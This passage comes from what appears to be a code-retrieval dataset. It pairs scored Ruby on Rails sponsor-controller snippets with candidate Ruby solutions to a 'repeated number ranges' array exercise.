@event_sponsors = EventSponsor.all\n end", "title": "" }, { "docid": "2aa7478798ee8d594c4d86cb928084f7", "score": "0.5924463", "text": "def set_sponsor\n @sponsor = @trip.sponsors.find(params[:id])\n end", "title": "" }, { "docid": "c1b44eb09737809ca6c73d2e98842775", "score": "0.5920628", "text": "def internal_sponsors()\n return MicrosoftGraph::IdentityGovernance::EntitlementManagement::ConnectedOrganizations::Item::InternalSponsors::InternalSponsorsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "3b321da03bafa1d70243bc1fde28882a", "score": "0.5917419", "text": "def create\n if @mission.sponsored_by? current_user\n return respond_to do |format|\n format.html { redirect_to mission_path(@mission) }\n format.json { head :no_content }\n end\n end\n @mission.sponsorships.create sponsor: current_user\n respond_to do |format|\n # TODO: notification and activity\n format.html { redirect_to mission_path(@mission), notice: t('missions.sponsored_successfully') }\n format.json { render json: { count: @mission.sponsorships.count } }\n end\n end", "title": "" }, { "docid": "fc9992336aa7f6b3ce456b8a406b2ebb", "score": "0.58560914", "text": "def set_sponser\n @sponser = Sponser.find(params[:id])\n end", "title": "" }, { "docid": "715dbdbcd6cdc64aa2537f12e4310d0b", "score": "0.5849802", "text": "def new\n @sponsor = Sponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sponsor }\n end\n end", "title": "" }, { "docid": "715dbdbcd6cdc64aa2537f12e4310d0b", "score": "0.5849802", "text": "def new\n @sponsor = Sponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sponsor }\n end\n end", "title": "" }, { "docid": "fb3e9b7449d9ce3712ec2a2299c32837", "score": "0.58463067", "text": "def create\n @events_sponser = EventsSponser.new(events_sponser_params)\n\n respond_to do |format|\n if @events_sponser.save\n format.html { redirect_to @events_sponser, notice: 'Events sponser was successfully created.' }\n format.json { render action: 'show', status: :created, location: @events_sponser }\n else\n format.html { render action: 'new' }\n format.json { render json: @events_sponser.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a17279b90c9a9051f3c3097dba596bf", "score": "0.5834156", "text": "def index\n @sponsors = Sponsor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sponsors }\n end\n end", "title": "" }, { "docid": "9a17279b90c9a9051f3c3097dba596bf", "score": "0.5834156", "text": "def index\n @sponsors = Sponsor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sponsors }\n end\n end", "title": "" }, { "docid": "0a758fbdab01722e875608eb4bc02fe4", "score": "0.58085567", "text": "def index\n @application_sponsors = ApplicationSponsor.all\n end", "title": "" }, { "docid": "073f9705ae7d66f961a675af80217be8", "score": "0.57910043", "text": "def index\n @project_sponsors = ProjectSponsor.all\n end", "title": "" }, { "docid": "43b99abfcf442a4fd09fdf16e8d4053c", "score": "0.57904124", "text": "def internal_sponsors=(value)\n @internal_sponsors = value\n end", "title": "" }, { "docid": "f93a0caa0ed06825e1cdb2e5e13cfdcf", "score": "0.5781698", "text": "def destroy\n @sponsor = Sponsor.find(params[:id])\n @sponsor.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_sponsors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f93a0caa0ed06825e1cdb2e5e13cfdcf", "score": "0.5781698", "text": "def destroy\n @sponsor = Sponsor.find(params[:id])\n @sponsor.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_sponsors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c0e7b1d580a09ba55f47aa78660e466d", "score": "0.57726157", "text": "def create\n @sponsorpost = Sponsorpost.new(sponsorpost_params)\n\n respond_to do |format|\n if @sponsorpost.save\n format.html { redirect_to @sponsorpost, notice: 'Sponsorpost was successfully created.' }\n format.json { render :show, status: :created, location: @sponsorpost }\n else\n format.html { render :new }\n format.json { render json: @sponsorpost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2e9f57e73cdad0ba8184216fc6aa4a9", "score": "0.5766334", "text": "def create\n @festival_sponsor = FestivalSponsor.new(params[:festival_sponsor])\n\n respond_to do |format|\n if @festival_sponsor.save\n flash[:notice] = 'FestivalSponsor was successfully created.'\n format.html { redirect_to(@festival_sponsor) }\n format.xml { render :xml => @festival_sponsor, :status => :created, :location => @festival_sponsor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @festival_sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38a4a6f2f6b9450c841347da6ea00fd3", "score": "0.5764744", "text": "def external_sponsors=(value)\n @external_sponsors = value\n end", "title": "" }, { "docid": "ec1170001cf5ebb08590e15510343d1b", "score": "0.5743866", "text": "def create\n @sponsorship = Sponsorship.new(sponsorship_params)\n\n respond_to do |format|\n if @sponsorship.save\n format.html { redirect_to @sponsorship, notice: tr('sponsorship_created') }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "ce9bab8f510c7693706078d1c0390018", "score": "0.57436824", "text": "def create\n @project_sponsor = ProjectSponsor.new(project_sponsor_params)\n\n respond_to do |format|\n if @project_sponsor.save\n format.html { redirect_to @project_sponsor, notice: 'Project sponsor was successfully created.' }\n format.json { render :show, status: :created, location: @project_sponsor }\n else\n format.html { render :new }\n format.json { render json: @project_sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32ef98db0ad815a2005e144da417e184", "score": "0.5735049", "text": "def create\n @sponsor_type = SponsorType.new(params[:sponsor_type])\n\n respond_to do |format|\n if @sponsor_type.save\n \texpire_action :action => :index\n \t\n format.html { redirect_to(@sponsor_type, :notice => 'Sponsor type was successfully created.') }\n format.xml { render :xml => @sponsor_type, :status => :created, :location => @sponsor_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sponsor_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f9897bfe924c2d5dc874fd5b82965cb", "score": "0.57071304", "text": "def show\n @sponsor = @event.sponsors.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sponsor }\n end\n end", "title": "" }, { "docid": "3a18c4cf93d28504c865207e773c81c5", "score": "0.5693376", "text": "def new\n @event_to_sponsor = EventToSponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event_to_sponsor }\n end\n end", "title": "" }, { "docid": "f48a7434b5ae01b7fbddc12a90e14c58", "score": "0.56645805", "text": "def create\n @sponsorship = Sponsorship.new(sponsorship_params)\n\n respond_to do |format|\n if @sponsorship.save\n format.html { redirect_to @sponsorship, notice: 'Sponsorship was successfully created.' }\n format.json { render :show, status: :created, location: @sponsorship }\n else\n format.html { render :new }\n format.json { render json: @sponsorship.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a81e1c34a9707c3b65053f9782608ced", "score": "0.5649664", "text": "def sponsor_params\n params.require(:sponsor).permit(:title, :first_name, :last_name, :email, :phone)\n end", "title": "" }, { "docid": "9f0697c760d20a4d63a97c41526f87d9", "score": "0.5633365", "text": "def update\n @sponsor = @event.sponsors.find(params[:id])\n\n respond_to do |format|\n if @sponsor.update_attributes(params[:sponsor])\n format.html { redirect_to([@event, @sponsor], :notice => 'Sponsor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa93ec97b584e5d20da7cc46150cbca1", "score": "0.5621544", "text": "def destroy\n @sponsor = Sponsor.find(params[:id])\n @sponsor.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_sponsors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "69ec86e901d4adbdb1e0ebeb464a4452", "score": "0.55998874", "text": "def index\n @sponsors = @trip.sponsors\n end", "title": "" }, { "docid": "5ddbbdc6a44c301cee1a0ff84ed18543", "score": "0.5592501", "text": "def create\n sponsorables = []\n params[:sponsorable].keys.each do |key|\n params[:sponsorable][key].keys.each do |id|\n sponsorables << key.constantize.find_by_id(id) \n end\n end\n\n sponsorables.each do |sponsorable|\n \t@sponsor.sponsor(sponsorable)\n end\n\n @sponsorship = Sponsorship.new(params[:sponsorship])\n @sponsorship.sponsor = @sponsor\n respond_to do |format|\n if @sponsorship.save\n flash[:notice] = 'Sponsorship was successfully created.'\n format.html { redirect_to(@sponsorship) }\n format.xml { render :xml => @sponsorship, :status => :created, :location => @sponsorship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sponsorship.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b50bedfd42b62347e62f50678bf03cd", "score": "0.5569869", "text": "def new\n @sponsored = Sponsored.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sponsored }\n end\n end", "title": "" }, { "docid": "b1701a0bc0e9f0af75baefcb090e0841", "score": "0.55598116", "text": "def new\n @topone = Topone.new\n @sponsors = Sponsor.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topone }\n end\n end", "title": "" }, { "docid": "1fc961501c0fa109a9a10cf80465838e", "score": "0.55236435", "text": "def create\n @sponsor_type = SponsorType.new(sponsor_type_params)\n\n respond_to do |format|\n if @sponsor_type.save\n format.html { redirect_to @sponsor_type, notice: 'Sponsor type was successfully created.' }\n format.json { render :show, status: :created, location: @sponsor_type }\n else\n format.html { render :new }\n format.json { render json: @sponsor_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7316d18922c7ee5d8a7ad29b21bd2d7d", "score": "0.5521542", "text": "def sponsor_params\n params.require(:sponsor).permit(:name, :logo_id, :link_url, :published)\n end", "title": "" }, { "docid": "9e5c036714d7fc351f1fe52e3ff55209", "score": "0.55192626", "text": "def set_sponsored_post\n @sponsored_post = SponsoredPost.find(params[:id])\n end", "title": "" }, { "docid": "af3e84adc9f8f284d1c05c1efa70ad53", "score": "0.55181026", "text": "def sponsors\n end", "title": "" }, { "docid": "5b33b69c646709f0f64a369e14e254e2", "score": "0.54770803", "text": "def new\n @users = User.all_organizers\n @sponsor = Sponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sponsor }\n end\n end", "title": "" }, { "docid": "6d28e2496688cc1bb5c64dcfb7cb2bf4", "score": "0.54769534", "text": "def sponsor_params\n params.require(:sponsor).permit(:name,:email,:referrer,:message)\n end", "title": "" }, { "docid": "b4f234d7bcfa3689ad7daa24a00e8921", "score": "0.5467759", "text": "def set_sponsor\n @sponsor = Sponsor.find(params[:id])\n end", "title": "" }, { "docid": "b4f234d7bcfa3689ad7daa24a00e8921", "score": "0.5467759", "text": "def set_sponsor\n @sponsor = Sponsor.find(params[:id])\n end", "title": "" }, { "docid": "b4f234d7bcfa3689ad7daa24a00e8921", "score": "0.5467759", "text": "def set_sponsor\n @sponsor = Sponsor.find(params[:id])\n end", "title": "" }, { "docid": "b4f234d7bcfa3689ad7daa24a00e8921", "score": "0.5467759", "text": "def set_sponsor\n @sponsor = Sponsor.find(params[:id])\n end", "title": "" }, { "docid": "8ac7ceeef4de6561537e7abf9c636608", "score": "0.54641926", "text": "def sponsor_params\n params.require(:sponsor).permit(:conference, :conference_id, :sponsor_name, :logo_path, :priority)\n end", "title": "" }, { "docid": "bad99dbf576856be0aadddb27d9148ee", "score": "0.5450529", "text": "def index\n @sponsors = Sponsor.get_all(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sponsors }\n end\n end", "title": "" }, { "docid": "37a2b15d1d4cd78d99d80f9f88ee6a1e", "score": "0.54388124", "text": "def sponsor_params\n params.require(:sponsor).permit(:code, :donor_number, :given_name, :family_name, :link, :street_address, :city, :postal_code, :primary_email, :secondary_email, :primary_phone, :secondary_phone)\n end", "title": "" }, { "docid": "b56ca64030a10bfdf3a4bcdd19523ccf", "score": "0.5438025", "text": "def new\n @sponsor = Sponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sponsor }\n end\n end", "title": "" }, { "docid": "b56ca64030a10bfdf3a4bcdd19523ccf", "score": "0.5438025", "text": "def new\n @sponsor = Sponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sponsor }\n end\n end", "title": "" }, { "docid": "b56ca64030a10bfdf3a4bcdd19523ccf", "score": "0.5438025", "text": "def new\n @sponsor = Sponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sponsor }\n end\n end", "title": "" }, { "docid": "d4273b705d2db53eead95c314ec70891", "score": "0.54318553", "text": "def create\n @application_sponsor = ApplicationSponsor.new(application_sponsor_params)\n\n respond_to do |format|\n if @application_sponsor.save\n format.html { redirect_to @application_sponsor, notice: 'Application sponsor was successfully created.' }\n format.json { render :show, status: :created, location: @application_sponsor }\n else\n format.html { render :new }\n format.json { render json: @application_sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "464c5782143d27207a300daf24b99658", "score": "0.5408127", "text": "def index\n @sponsers = Sponser.all\n end", "title": "" }, { "docid": "139ab66dab23de1edb662ed3965b961d", "score": "0.54058385", "text": "def new\n @content_sponsor = ContentSponsor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_sponsor }\n end\n end", "title": "" }, { "docid": "afc2a1a506f7708f31aba60f70d1f4f4", "score": "0.5398717", "text": "def index\n @sponsorships = Sponsorship.find(:all, :conditions => [\"sponsor_id = ? \", @sponsor.id ] )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sponsorships }\n end\n end", "title": "" }, { "docid": "a05a5896923708c0cc68717c28e9a6e1", "score": "0.5393852", "text": "def fye_report\n @sponsors = Sponsor.all\n end", "title": "" }, { "docid": "67429cc13585ebeb556b8f96f08e716f", "score": "0.53740966", "text": "def create\n @planned_responce = Subscription.find(params[:subscription_id]).planned_responces.build(params[:planned_responce])\n\n respond_to do |format|\n if @planned_responce.save\n format.html { redirect_to([@planned_responce.subscription, @planned_responce], :notice => 'Planned responce was successfully created.') }\n format.xml { render :xml => @planned_responce, :status => :created, :location => [@planned_responce.subscription, @planned_responce] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @planned_responce.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df9679795562603b594b3735dd2bbb1b", "score": "0.5368542", "text": "def index\n @sponsors = @conference.sponsors.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sponsors }\n end\n end", "title": "" }, { "docid": "2f08f9ebe118c73ae8f7cded15783489", "score": "0.53596455", "text": "def index\n authorize! :view_potential_sponsors, User\n @members = @group.users.active.members\n respond_with(@members)\n end", "title": "" }, { "docid": "59c4e07c52dcc4ca5c7366f856313586", "score": "0.53510785", "text": "def new\n @sponsor_type = SponsorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sponsor_type }\n end\n end", "title": "" }, { "docid": "27cedb674bdef64b330c605b32394399", "score": "0.5344566", "text": "def destroy\n @event_to_sponsor = EventToSponsor.find(params[:id])\n @event_to_sponsor.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_to_sponsors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d74c136c9574ba094309b46d2f6e7a56", "score": "0.5342283", "text": "def create_for_association\n @survey = current_organization.sponsored_surveys.find(params[:survey_id])\n @organizations = params[:organizations].split(\",\")\n @invitations = []\n\n @organizations.each do |organization_id|\n invitation = invite_organization(organization_id.to_s)\n invitation.save\n @invitations << invitation if invitation.valid?\n end\n \n respond_to do |wants|\n wants.js\n end\n end", "title": "" }, { "docid": "953a04cca8946e8146058094ccee2538", "score": "0.533757", "text": "def sponser_params\n params.require(:sponser).permit(:name, :url, :logo)\n end", "title": "" }, { "docid": "e51b570907cac2f4a7fffd22c0d9ede6", "score": "0.53366196", "text": "def reminder\n @postto = BASE_URL + '/directions'\n respond_to do |format|\n format.xml { @postto }\n end\n end", "title": "" }, { "docid": "055f5b8665b02a145a39d86ca662576e", "score": "0.5329219", "text": "def create\n @child_sponsorship = ChildSponsorship.new(child_sponsorship_params)\n\n respond_to do |format|\n if @child_sponsorship.save\n format.html { redirect_to @child_sponsorship, notice: 'Child sponsorship was successfully created.' }\n format.json { render :show, status: :created, location: @child_sponsorship }\n else\n format.html { render :new }\n format.json { render json: @child_sponsorship.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "744e69e445a9ea2377a3571d223d73e7", "score": "0.532326", "text": "def set_sponsor\n @sponsor = Sponsor.find(params[:id])\n end", "title": "" }, { "docid": "a7362269339aebb5ca526c97c34aed45", "score": "0.52976716", "text": "def create\n @sponsor_charge = SponsorCharge.new(sponsor_charge_params)\n\n respond_to do |format|\n if @sponsor_charge.save\n format.html { redirect_to @sponsor_charge, notice: 'Sponsor charge was successfully created.' }\n format.json { render :show, status: :created, location: @sponsor_charge }\n else\n format.html { render :new }\n format.json { render json: @sponsor_charge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88e35ab0a97d2bec27f4fd49f48e9695", "score": "0.52944106", "text": "def sponsor_params\n params.require(:sponsor).permit(:name)\n end", "title": "" }, { "docid": "7b59ef7feac3c342856276c5ed26b6ea", "score": "0.5281674", "text": "def create\n @sponsor_discount = SponsorDiscount.new(params[:sponsor_discount])\n\n respond_to do |format|\n if @sponsor_discount.save\n format.html { redirect_to(admin_sponsor_discount_path(@sponsor_discount), :notice => 'SponsorDiscount was successfully created.') }\n format.xml { render :xml => @sponsor_discount, :status => :created, :location => @sponsor_discount }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sponsor_discount.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f96c02b1c64981a51a73d88238875e84", "score": "0.5281639", "text": "def set_sponsorpost\n @sponsorpost = Sponsorpost.find(params[:id])\n end", "title": "" }, { "docid": "3570cd20e84e18471324bef2ee03f9ff", "score": "0.52589947", "text": "def destroy\n @api_v1_sponsor.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_sponsors_url, notice: 'Sponsor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d97aaaa25059e1fc11d66b758bc1c1ee", "score": "0.52586734", "text": "def invite_sponsor\n invitation = self.invitations.new(\n :survey => self, \n :inviter => self.sponsor, \n :invitee => self.sponsor,\n :aasm_state => 'fulfilled')\n invitation.save!\n end", "title": "" }, { "docid": "9ad0ca09bd7b327fb8c573a2306add92", "score": "0.52520394", "text": "def events_sponser_params\n params.require(:events_sponser).permit(:event_id, :sponser_id)\n end", "title": "" }, { "docid": "b3d6c3e450b645f71339ffb37529b8cb", "score": "0.52483964", "text": "def index\n @sponsoreds = Sponsored.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sponsoreds }\n end\n end", "title": "" } ]
8dd32c3a40549d516e388b853be57bc0
Repeated Number Ranges Given a list of numbers, give the start and end indices each time a number shows up multiple times in a row.
[ { "docid": "3c6b84ec65fd027fb0d7fd5cc8218a89", "score": "0.76679415", "text": "def repeated_number_ranges(numbers)\n result = []\n current = numbers[0]\n first_idx = 0\n\n numbers.each_with_index do |num, idx|\n next if idx == 0\n\n if num != current\n result << [first_idx, idx - 1] if idx - 1 != first_idx\n current = num\n first_idx = idx\n end\n end\n\n result << [first_idx, numbers.length - 1] if first_idx != numbers.length - 1\n\n result\nend", "title": "" } ]
[ { "docid": "dcee432aef0924424f4afac24d1f2da9", "score": "0.82497436", "text": "def repeated_number_ranges(numbers)\n ranges = []\n start_index = nil\n numbers.each_index do |i|\n if numbers[i] == numbers[i + 1]\n start_index = i unless start_index\n elsif start_index\n ranges.push([start_index, i])\n start_index = nil\n end\n end\n ranges\nend", "title": "" }, { "docid": "48bacf944a10d15583b010e6b164a46e", "score": "0.7985397", "text": "def repeated_number_ranges(numbers)\n ranges = []\n current_index = 0\n start_index = nil\n\n while current_index < numbers.length\n if numbers[current_index + 1] == numbers[current_index]\n start_index = current_index if start_index.nil?\n else\n if !start_index.nil?\n ranges.push([start_index, current_index])\n start_index = nil\n end\n end\n\n current_index += 1\n end\n\n ranges\nend", "title": "" }, { "docid": "4a5fc1d6cd15f9caf8364fcb4b0e9ce4", "score": "0.7979127", "text": "def repeated_number_ranges(arr)\n result = []\n start_idx = nil\n arr.each_with_index do |el, idx|\n if el == arr[idx + 1]\n start_idx = idx unless start_idx\n elsif start_idx\n result << [start_idx, idx]\n start_idx = nil\n end\n end\n result\nend", "title": "" }, { "docid": "1748edf84fb47c7d32bac2d3b1feb7af", "score": "0.7914515", "text": "def repeated_number_ranges(arr)\n fin_arr=[]\n start=nil\n arr.each_with_index do |num,idx|\n start=idx if num==arr[idx+1] && start==nil\n if (num!=arr[idx+1] && start!=nil)\n fin_arr << [start,idx]\n start=nil\n end\n end\n fin_arr\nend", "title": "" }, { "docid": "a382e42f6058b14a1d94dbbcb2499400", "score": "0.78382355", "text": "def repeated_number_ranges(arr)\n\trange = []\n\tind_start = nil \n\n\tarr.each_with_index do |el, ind|\n\t\tnext_el = arr[ind + 1]\n\t\tif el == next_el \n\t\t\tind_start = ind unless ind_start \n\t\telsif ind_start\n\t\t\trange.push([ind_start,ind])\n\t\t\tind_start = nil\t\t\n\t\tend\n\n\tend \n\treturn range \n\tend", "title": "" }, { "docid": "a709e9e8c95e6783f0fd99e365b45e3b", "score": "0.78040516", "text": "def repeated_number_ranges(arr)\n ranges = []\n idx = 0\n while idx < arr.length - 1\n idx += 1\n if arr[idx] == arr[idx - 1]\n start_idx = idx - 1\n until arr[idx] != arr[start_idx]\n end_idx = idx\n idx += 1\n end\n ranges << [start_idx, end_idx]\n end\n end\n ranges\nend", "title": "" }, { "docid": "8de5759608b343e71dfc4fffa1ba92c9", "score": "0.7764567", "text": "def repeated_number_ranges(arr)\n solution = []\n start_idx = nil\n\n arr.each_with_index do |num, idx|\n next_num = arr[idx + 1]\n if num == next_num\n start_idx = idx unless start_idx\n elsif start_idx\n solution << [start_idx, idx]\n start_idx = nil\n end\n end\n solution\nend", "title": "" }, { "docid": "0bc4f25f0cd00d0c6691e916fe4ab6f2", "score": "0.7746268", "text": "def repeated_number_ranges(arr)\n repeated_ranges = []\n range_start = 0\n range_num = 9999\n count = 0\n\n arr.each_with_index do |number, idx|\n # First number in the array, set for a new range\n if idx == 0\n #prev_number = number\n range_start = idx\n range_num = number\n elsif idx == arr.length - 1\n if number == range_num\n count += 1\n end\n if count >= 1\n repeated_ranges << [range_start, idx]\n end\n else\n # New number; check the length of the previous range\n # Add to repeated_ranges if >= 2\n if number != range_num\n if idx - range_start >= 2\n repeated_ranges << [range_start, idx-1]\n end\n range_start = idx\n range_num = number\n count = 0\n elsif number == range_num\n count += 1\n end\n end\n end\n return repeated_ranges\nend", "title": "" }, { "docid": "8b57f2d298426379c57029861089972e", "score": "0.77419174", "text": "def repeated_number_ranges(arr)\n startIndex = endIndex = 0\n result = []\n arr.each_with_index do |num, index|\n # Update endIndex if the number is repeating:\n if arr[index] == arr[index + 1]\n endIndex = index + 1\n else\n # If it stops repeating, or not repeat:\n if startIndex < endIndex #to save result if there is repeated number right before\n result << [startIndex, endIndex]\n end\n # Reset index:\n startIndex = endIndex = index + 1\n end\n end\n result\nend", "title": "" }, { "docid": "9d68bd700639dfa0b3bbcc9fa5b1b3fd", "score": "0.7700372", "text": "def repeated_number_ranges(numbers)\n ranges = []\n current_index = 0\n start_index = nil\n\n # start walking\n # set the start index when the next number is the same\n # reset the start index when the next number is different\n\n while current_index < numbers.length\n if numbers[current_index + 1] == numbers[current_index]\n start_index = current_index if start_index.nil?\n else\n if !start_index.nil? # i.e., if the start index isn't nil and the numbers switched\n ranges.push([start_index, current_index])\n start_index = nil\n end\n end\n\n current_index += 1\n end\n\n ranges\nend", "title": "" }, { "docid": "dd8b23d36df891624ee57eede3515f6a", "score": "0.76983696", "text": "def repeated_number_ranges(arr)\n result, i = [], 0\n\n while i < arr.length\n num, range = arr[i], 0\n\n arr[i + 1..-1].each { |el| if (num == el) then range += 1 else break end }\n if range > 0\n result << [i, i + range]\n i += range\n end\n\n i += 1\n end\n result\nend", "title": "" }, { "docid": "c03c746d1f8ffdc8c926a8af7dd29182", "score": "0.7664433", "text": "def repeated_number_ranges(arr)\n result = []\n i = 0\n while i < arr.length\n nIndex = i\n\n while arr[i] == arr[nIndex + 1]\n nIndex += 1\n end\n\n if nIndex != i\n result << [i, nIndex]\n i = nIndex - 1\n end\n i += 1\n end\n\n result\nend", "title": "" }, { "docid": "e2af1d2199bf93ca9e6103d11b7cba46", "score": "0.7532381", "text": "def repeated_number_ranges(arr)\n ranges = []\n start_idx = nil\n # prev_num = -1\n # repeating = false\n # arr.each_with_index do |num, idx|\n # if num != prev_num\n # if repeating == true\n # repeating = false\n # ranges << [start_idx, idx-1]\n # end\n # start_idx = idx\n # else\n # if repeating == false\n # repeating = true\n # start_idx = idx - 1\n # end\n # end\n # prev_num = num\n # end\n # if repeating\n # ranges << [start_idx, arr.length-1]\n # end\n\n arr.each_with_index do |num, idx|\n if num == arr[idx+1]\n if start_idx == nil\n start_idx = idx\n end\n else\n if start_idx != nil\n ranges << [start_idx, idx]\n start_idx = nil\n end\n end\n end\n return ranges\nend", "title": "" }, { "docid": "907e29c2e109720f433ada98c7dc9f15", "score": "0.75149244", "text": "def repeated_number_ranges(arr)\n\n repeats = []\n cur_run = 0\n\n arr.each_with_index do |n, i|\n\n if n == arr[i + 1]\n cur_run += 1\n else\n\n if cur_run > 0\n repeats << [i - cur_run, i]\n end\n\n cur_run = 0\n\n end\n\n end\n\n repeats\n\nend", "title": "" }, { "docid": "b5816e06167efc43c6c032cbe418a48c", "score": "0.75066465", "text": "def repeated_number_ranges(arr)\n result_arr = []\n \n arr.each_with_index do |num, idx|\n if arr[idx-1] == num\n next\n elsif arr[idx+1] == num\n first_idx = idx\n i = idx\n while arr[i] == num\n second_idx = i\n i+= 1 \n end\n result_arr << [first_idx,second_idx]\n end \n end\n result_arr\nend", "title": "" }, { "docid": "38181cb9474388d7438d2d6358234c63", "score": "0.7483209", "text": "def repeated_number_ranges(arr)\n acc = []\n tempi = nil\n i = 0\n while (i < arr.length)\n if arr[i+1] == arr[i]\n tempi = calc_range(arr, arr[i], i)\n acc.push([i, tempi])\n i = tempi\n end\n i+=1\n end\n acc\nend", "title": "" }, { "docid": "1bea2f32b7e04846f570c8ed4b4a4fba", "score": "0.74596447", "text": "def repeated_number_ranges(arr)\n result = []\n head = 0\n tail = 1\n while tail < arr.length\n if arr[head] != arr[tail] \n distance = tail - head \n if distance > 1\n result << [head, tail-1]\n end\n head = tail\n end\n tail += 1\n end\n result \nend", "title": "" }, { "docid": "6f145386ecaff6b5c00b5617402c448e", "score": "0.74317336", "text": "def repeated_number_ranges(arr)\n result = [] # array of repeated_number_ranges\n size = arr.count # size of the input arr\n head = 0 # head of the range\n tail = -1 # tail of the range\n\n (head+1..size-1).each do |i|\n \n head = i if arr[i] != arr[head] && i-head == 1 # update head if no repeated number\n \n if arr[i] == arr[head] # update tail until no more repeated numbers\n tail = i\n next # break and go to next iteration\n end\n \n if tail > head # append the range of head and tail to the result when it is determined\n result << [head,tail]\n head = i+1 # update head of the range\n end\n end\n \n result\nend", "title": "" }, { "docid": "805f78c6327599f0e81b1208d99ca951", "score": "0.7384786", "text": "def repeated_number_ranges(arr)\n\tr = []\n\ti0 = 0\n\twhile i0 < arr.length\n\t\ti1 = i0\n\t\twhile (i1 < arr.length && arr[i1] == arr[i0])\n\t\t\ti1 += 1\n\t\tend\n\t\tr << [i0, (i1 - 1)]\n\t\ti0 = i1\n\tend\n\tr.reject { |c| c[0] == c[1] }\nend", "title": "" }, { "docid": "8e95523fea00b7307836eaa04905c4cf", "score": "0.736606", "text": "def repeated_number_ranges(arr)\n pairs = []\n first_idx = 0\n\n arr.each_index do |idx|\n next if idx == 0\n\n if arr[first_idx] != arr[idx]\n # set to idx of the new unique number\n first_idx = idx\n elsif arr[first_idx] != arr[idx + 1]\n # if the next num breaks the repeat\n pairs << [first_idx, idx]\n end\n end\n\n pairs\nend", "title": "" }, { "docid": "e6a9771492da24399ca81fef9ff74711", "score": "0.7340966", "text": "def repeated_number_ranges(arr)\n \nend", "title": "" }, { "docid": "c332f645712bdc91213d5829455507ba", "score": "0.7331269", "text": "def repeated_number_ranges(arr)\n working_arr = []\n final_arr = []\n arr.each_with_index do |el, idx|\n working_arr << idx if el == arr[idx + 1] && el != arr[idx - 1]\n working_arr << idx if el != arr[idx + 1] && el == arr[idx - 1]\n end\n working_arr.each_with_index do |el, idx|\n return final_arr if idx * 2 == working_arr.length\n final_arr << [working_arr[idx*2], working_arr[(idx*2) + 1]]\n end\nend", "title": "" }, { "docid": "389378eebfce8bfaa2fc2d6260e80629", "score": "0.7238353", "text": "def ranges(array)\n result = []\n start_idx = nil\n array.each_with_index do |num, idx|\n if num + 1 == array[idx + 1]\n start_idx = idx unless start_idx\n elsif start_idx\n result << [array[start_idx], array[idx]]\n start_idx = nil\n end\n end\n result\nend", "title": "" }, { "docid": "0f2b76427a9c954855c9b0319ff5597d", "score": "0.7232457", "text": "def repeated_number_ranges(arr)\n ranges = []\n strt_group = nil\n arr.each_with_index do |val, idx|\n next_val = arr[idx+1]\n if strt_group\n if val != next_val\n ranges << [strt_group, idx]\n strt_group = nil\n end\n elsif val == next_val\n strt_group = idx\n end\n end\n ranges\nend", "title": "" }, { "docid": "9fe682727633a4412199026644cc1d3f", "score": "0.71904045", "text": "def repeated_number_ranges(arr)\n new_arr = []\n arr.each_with_index do |num1, i|\n break if i == arr.length - 1\n if new_arr.length > 0\n next if 